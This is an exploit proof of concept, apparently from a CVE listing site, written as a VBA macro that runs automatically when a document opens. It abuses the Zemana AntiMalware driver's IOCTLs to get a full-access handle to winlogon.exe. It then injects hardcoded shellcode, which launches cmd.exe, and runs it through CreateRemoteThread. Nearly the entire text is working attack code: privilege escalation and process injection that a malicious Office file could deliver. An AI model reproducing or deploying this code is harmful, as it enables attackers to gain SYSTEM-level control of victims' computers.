4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Ring0VBA.vba VBA
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * 260
End Type

Private Declare PtrSafe Function CreateFileA Lib "kernel32" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As LongPtr
Private Declare PtrSafe Function GetCurrentProcessId Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPtr
Private Declare PtrSafe Function DeviceIoControl Lib "kernel32" (ByVal hDevice As LongPtr, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As Any) As Long

Private Declare PtrSafe Function Process32First Lib "kernel32" (ByVal hSnapShot As LongPtr, uProcess As PROCESSENTRY32) As Boolean
Private Declare PtrSafe Function Process32Next Lib "kernel32" (ByVal hSnapShot As LongPtr, uProcess As PROCESSENTRY32) As Boolean

Private Declare PtrSafe Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function VirtualFree Lib "kernel32" (ByVal lpAddress As LongPtr, dwSize As Long, dwFreeType As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As String, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function CreateRemoteThread Lib "kernel32" (ByVal ProcessHandle As LongPtr, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByVal lpThreadID As Long) As Long
Sub AutoOpen()
    Ring0
End Sub
Sub Ring0()
    ' Create handle for driver
    Dim hDevice As LongPtr
    Dim lpSecurityAttributes As SECURITY_ATTRIBUTES
    hDevice = CreateFileA("\\.\ZemanaAntiMalware", &H40000000 Or &H80000000, 0, lpSecurityAttributes, &H3, &H80, Empty)
    
    ' Register Process with Driver
    Dim pid As LongPtr, BytesReturned As Long
    pid = GetCurrentProcessId()
    IOCTL_Register = DeviceIoControl(hDevice, &H80002010, pid, 4, Empty, 0, BytesReturned, Empty)
    
    ' PID for winlogon.exe
    Dim WinlogonPid As Long
    Dim pEntry As PROCESSENTRY32
    Dim continueSearching As Boolean
    
    pEntry.dwSize = LenB(pEntry)
    
    Dim snapshot As LongPtr
    snapshot = CreateToolhelp32Snapshot(&H2&, ByVal 0&)
    continueSearching = Process32First(snapshot, pEntry)
    
    Do
        If InStr(1, pEntry.szExeFile, "winlogon.exe") Then
            WinlogonPid = pEntry.th32ProcessID
            continueSearching = False
        Else
            continueSearching = Process32Next(snapshot, pEntry)
        End If
    Loop While continueSearching
    
    ' Get full access winlogon.exe handle for exploit
    Dim WinlogonHandle As Long
    DeviceIoControl hDevice, &H8000204C, WinlogonPid, 4, WinlogonHandle, 4, BytesReturned, Empty
    
    ' Get memory address for writing to winlogon.exe
    RemoteAllocation = VirtualAllocEx(WinlogonHandle, Empty, &H1000, &H1000, &H40)
    
    ' Shellcode
    Dim sShellCode As String
    sShellCode = ""
    sShellCode = sShellCode + Chr(&HFC) + Chr(&H48) + Chr(&H83) + Chr(&HE4) + Chr(&HF0) + Chr(&HE8) + Chr(&HC0) + Chr(&H0) + Chr(&H0) + Chr(&H0) + Chr(&H41) + Chr(&H51) + Chr(&H41) + Chr(&H50)
    sShellCode = sShellCode + Chr(&H52) + Chr(&H51) + Chr(&H56) + Chr(&H48) + Chr(&H31) + Chr(&HD2) + Chr(&H65) + Chr(&H48) + Chr(&H8B) + Chr(&H52) + Chr(&H60) + Chr(&H48) + Chr(&H8B) + Chr(&H52)
    sShellCode = sShellCode + Chr(&H18) + Chr(&H48) + Chr(&H8B) + Chr(&H52) + Chr(&H20) + Chr(&H48) + Chr(&H8B) + Chr(&H72) + Chr(&H50) + Chr(&H48) + Chr(&HF) + Chr(&HB7) + Chr(&H4A) + Chr(&H4A)
    sShellCode = sShellCode + Chr(&H4D) + Chr(&H31) + Chr(&HC9) + Chr(&H48) + Chr(&H31) + Chr(&HC0) + Chr(&HAC) + Chr(&H3C) + Chr(&H61) + Chr(&H7C) + Chr(&H2) + Chr(&H2C) + Chr(&H20) + Chr(&H41)
    sShellCode = sShellCode + Chr(&HC1) + Chr(&HC9) + Chr(&HD) + Chr(&H41) + Chr(&H1) + Chr(&HC1) + Chr(&HE2) + Chr(&HED) + Chr(&H52) + Chr(&H41) + Chr(&H51) + Chr(&H48) + Chr(&H8B) + Chr(&H52)
    sShellCode = sShellCode + Chr(&H20) + Chr(&H8B) + Chr(&H42) + Chr(&H3C) + Chr(&H48) + Chr(&H1) + Chr(&HD0) + Chr(&H8B) + Chr(&H80) + Chr(&H88) + Chr(&H0) + Chr(&H0) + Chr(&H0) + Chr(&H48)
    sShellCode = sShellCode + Chr(&H85) + Chr(&HC0) + Chr(&H74) + Chr(&H67) + Chr(&H48) + Chr(&H1) + Chr(&HD0) + Chr(&H50) + Chr(&H8B) + Chr(&H48) + Chr(&H18) + Chr(&H44) + Chr(&H8B) + Chr(&H40)
    sShellCode = sShellCode + Chr(&H20) + Chr(&H49) + Chr(&H1) + Chr(&HD0) + Chr(&HE3) + Chr(&H56) + Chr(&H48) + Chr(&HFF) + Chr(&HC9) + Chr(&H41) + Chr(&H8B) + Chr(&H34) + Chr(&H88) + Chr(&H48)
    sShellCode = sShellCode + Chr(&H1) + Chr(&HD6) + Chr(&H4D) + Chr(&H31) + Chr(&HC9) + Chr(&H48) + Chr(&H31) + Chr(&HC0) + Chr(&HAC) + Chr(&H41) + Chr(&HC1) + Chr(&HC9) + Chr(&HD) + Chr(&H41)
    sShellCode = sShellCode + Chr(&H1) + Chr(&HC1) + Chr(&H38) + Chr(&HE0) + Chr(&H75) + Chr(&HF1) + Chr(&H4C) + Chr(&H3) + Chr(&H4C) + Chr(&H24) + Chr(&H8) + Chr(&H45) + Chr(&H39) + Chr(&HD1)
    sShellCode = sShellCode + Chr(&H75) + Chr(&HD8) + Chr(&H58) + Chr(&H44) + Chr(&H8B) + Chr(&H40) + Chr(&H24) + Chr(&H49) + Chr(&H1) + Chr(&HD0) + Chr(&H66) + Chr(&H41) + Chr(&H8B) + Chr(&HC)
    sShellCode = sShellCode + Chr(&H48) + Chr(&H44) + Chr(&H8B) + Chr(&H40) + Chr(&H1C) + Chr(&H49) + Chr(&H1) + Chr(&HD0) + Chr(&H41) + Chr(&H8B) + Chr(&H4) + Chr(&H88) + Chr(&H48) + Chr(&H1)
    sShellCode = sShellCode + Chr(&HD0) + Chr(&H41) + Chr(&H58) + Chr(&H41) + Chr(&H58) + Chr(&H5E) + Chr(&H59) + Chr(&H5A) + Chr(&H41) + Chr(&H58) + Chr(&H41) + Chr(&H59) + Chr(&H41) + Chr(&H5A)
    sShellCode = sShellCode + Chr(&H48) + Chr(&H83) + Chr(&HEC) + Chr(&H20) + Chr(&H41) + Chr(&H52) + Chr(&HFF) + Chr(&HE0) + Chr(&H58) + Chr(&H41) + Chr(&H59) + Chr(&H5A) + Chr(&H48) + Chr(&H8B)
    sShellCode = sShellCode + Chr(&H12) + Chr(&HE9) + Chr(&H57) + Chr(&HFF) + Chr(&HFF) + Chr(&HFF) + Chr(&H5D) + Chr(&H48) + Chr(&HBA) + Chr(&H1) + Chr(&H0) + Chr(&H0) + Chr(&H0) + Chr(&H0)
    sShellCode = sShellCode + Chr(&H0) + Chr(&H0) + Chr(&H0) + Chr(&H48) + Chr(&H8D) + Chr(&H8D) + Chr(&H1) + Chr(&H1) + Chr(&H0) + Chr(&H0) + Chr(&H41) + Chr(&HBA) + Chr(&H31) + Chr(&H8B)
    sShellCode = sShellCode + Chr(&H6F) + Chr(&H87) + Chr(&HFF) + Chr(&HD5) + Chr(&HBB) + Chr(&HE0) + Chr(&H1D) + Chr(&H2A) + Chr(&HA) + Chr(&H41) + Chr(&HBA) + Chr(&HA6) + Chr(&H95) + Chr(&HBD)
    sShellCode = sShellCode + Chr(&H9D) + Chr(&HFF) + Chr(&HD5) + Chr(&H48) + Chr(&H83) + Chr(&HC4) + Chr(&H28) + Chr(&H3C) + Chr(&H6) + Chr(&H7C) + Chr(&HA) + Chr(&H80) + Chr(&HFB) + Chr(&HE0)
    sShellCode = sShellCode + Chr(&H75) + Chr(&H5) + Chr(&HBB) + Chr(&H47) + Chr(&H13) + Chr(&H72) + Chr(&H6F) + Chr(&H6A) + Chr(&H0) + Chr(&H59) + Chr(&H41) + Chr(&H89) + Chr(&HDA) + Chr(&HFF)
    sShellCode = sShellCode + Chr(&HD5) + Chr(&H63) + Chr(&H6D) + Chr(&H64) + Chr(&H2E) + Chr(&H65) + Chr(&H78) + Chr(&H65) + Chr(&H0)
    
    ' Writing to winlogon.exe
    WPM = WriteProcessMemory(WinlogonHandle, RemoteAllocation, sShellCode, Len(sShellCode), VarPtr(BytesReturned))
    
    CRT = CreateRemoteThread(WinlogonHandle, lpSecurityAttributes, 0, RemoteAllocation, Empty, 0, Empty)
End Sub